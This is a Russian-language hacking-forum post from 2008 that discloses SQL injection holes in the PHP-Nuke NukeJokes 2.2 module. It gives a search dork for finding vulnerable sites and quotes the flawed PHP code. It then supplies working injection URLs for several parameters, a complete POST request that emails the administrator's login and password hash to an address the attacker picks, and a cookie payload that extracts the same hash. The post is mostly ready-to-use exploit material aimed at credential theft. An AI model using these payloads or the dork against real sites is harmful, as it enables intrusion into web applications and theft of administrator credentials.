ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #34  
Старый 19.12.2008, 03:44
Аватар для l-l00K
l-l00K
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
Провел на форуме:
13395217

Репутация: 2097
По умолчанию

Уязвимый продукт: PHP-NUKE module NukeJokes
Версия: 2.2
Дорк: inurl:modules.php?name=NukeJokes

SQL-injections

Уязвимость в файле: index.php
PHP код:
function CatView($cat$page){
...
   
$result sql_query("SELECT jokecid, catname FROM ".$prefix."_jokes_categories WHERE jokecid='$cat'"$dbi); 
Данные из параметра cat попадают в запрос без каких либо преобразований
Пример запроса:
Код:
/modules.php?name=NukeJokes&func=CatView&cat=-7'%0aunion+select+1,2%23
PHP код:
function JokeView($jokeid){
...
   
$result sql_query("SELECT author, name, date, cat, joke, hits, ratingtot, ratings FROM ".$prefix."_jokes WHERE jokeid='$jokeid'"$dbi); 
Данные из параметра jokeid попадают в запрос без каких либо преобразований
Пример запроса:
Код:
/modules.php?name=NukeJokes&func=JokeView&jokeid=-1'%0aunion+select+1,2,3,4,5,6,7,8%23
Уязвимость в файле: send.php
PHP код:
 function send($jokeid$sendername$senderemail$toname$toemail){
    global 
$sitename$nukeurl$prefix$dbi$module_name$stop;
    include(
"header.php");
    include(
"config.php");
    
checkemail($toemail);
    if (!
$stop) {
    
$result sql_query("SELECT name from ".$prefix."_jokes where jokeid='$jokeid'"$dbi);
    list(
$name) = sql_fetch_row($result$dbi);
    
$subject ""._SUBJECT.$sitename";
    
$message ""._HELLO.$toname:\n\n"._YOURFRIEND.$sendername "._CONSIDERED."\n\n\n$name\n\n"._URL.": $nukeurl/modules.php?name=$module_name&func=JokeView&jokeid=$jokeid\n\n"._YOUCANREAD.$sitename\n$nukeurl";
    
$toemail str_replace(" ","",$toemail);
       
mail($toemail$subject$message"From: \"$sendername\" <$senderemail>\nX-Mailer: PHP/" phpversion()); 
Уязвимость в параметре jokeid, т.к данные из столбца name отправляются на email, при таком запросе:
Код:
POST /modules.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/modules.php?name=NukeJokes&file=send&jokeid=1608
Cookie: TRACKID=7b45bd0b2a560da542a5eb4fc22512c6; lang=english
Content-Type: application/x-www-form-urlencoded
Content-Length: 181
name=NukeJokes&file=send&func=send&jokeid=-1'/**/union select concat(aid,0x3a,pwd) from nuke_authors limit 0,1/*&sendername=aaa&senderemail=aaa%40mail.ru&toname=bbb&toemail=aaa%40mail.ru
Мы получим aid:hash администратора на указаное нами мыло

Уязвимость в файле: search.php
PHP код:
function search($q$cat){
 global 
$module_name$prefix$bgcolor1$bgcolor2$dbi$prefix;
include(
"header.php");
if(
$cat==0){
$cats " ";
}else{
$cats " cat=".$cat." AND ";
}

ModuleSearch();
...
  
$search sql_query("SELECT jokeid, author, date, name, cat, hits, ratings FROM ".$prefix."_jokes WHERE".$cats."(name LIKE '%$q%' OR joke LIKE '%$q%')"$dbi); 
Уязвимость в параметрах cat и q
Пример запроса:
Код:
/modules.php?name=NukeJokes&file=search&func=search&q=x&cat=7%0aunion+select+1,2,3,4,5,6,7%23
Уязвимость в файле: comments.php
PHP код:
function JokesAddCom($jokeid$author$comment){
   global 
$prefix$dbi$bgcolor1$module_name$bgcolor2;
    
$author FixQuotes(nl2br(filter_text($author)));
    
$comment FixQuotes(nl2br(filter_text($comment)));
   
sql_query("INSERT into ".$prefix."_jokes_comments VALUES(NULL, '$author' ,'$comment' , '$jokeid')"$dbi); 
в ф-ции, filter_text удаляются хтмл тэги, затем данные попадают в ф-цию FixQuotes
PHP код:
function FixQuotes ($what "") {
    while (
stristr($what"\\\\'")) {
        
$what str_replace("\\\\'","'",$what);
    }
    return 
$what;

Для чего здесь была использована эта ф-ция непонятно, при magic_quotes_gpc=off мы без труда можем внедрить наш sql код, для этого
выбираем любую шутку, жмем добавить комментарий, в куки кидаем:
Код:
author=aa',(select concat(aid,0x3a,pwd) from nuke_authors limit 0,1),Существующий_ID)/*
в результате получим aid:hash админа
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
BookS: PHP, PERL, MySQL, JavaScript, HTML, ajax, Веб Дизайн M1nK0 PHP, PERL, MySQL, JavaScript 10 27.06.2009 21:35
Что такое Php? PAPA212 Болталка 13 28.12.2007 20:44
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ